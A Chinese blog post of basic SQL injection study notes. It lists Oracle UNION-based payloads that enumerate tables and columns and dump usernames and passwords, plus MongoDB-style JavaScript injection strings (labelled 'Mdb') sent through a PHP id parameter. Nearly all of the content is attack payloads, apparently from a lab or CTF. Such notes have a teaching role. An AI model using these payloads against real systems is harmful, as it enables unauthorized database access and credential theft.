oracle-Mdb数据库的基本sql注入

0x00 sql注入的简介

注入的常见数据库:mysql,mssql,oralce,Mdb,postsql等
sql注入的种类:数字类型,字符类型等
提交方式:post,get,数据包中的http头,cookie等注入
其他的注入方式:二次注入,外联注入测试等

0x01 oralce的基本注入语句

oracle使用user-tables存储表名
除了一般的查询语句外,通常使用模糊查询相关的用户表等
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

0x02 Mdb的基本注入语句

需要注意的是Mdb的闭合方式 ‘{(1’});
测回显:/new_list.php?id=1'}); return ({title:1,content:'2
爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1
爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

告白热

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值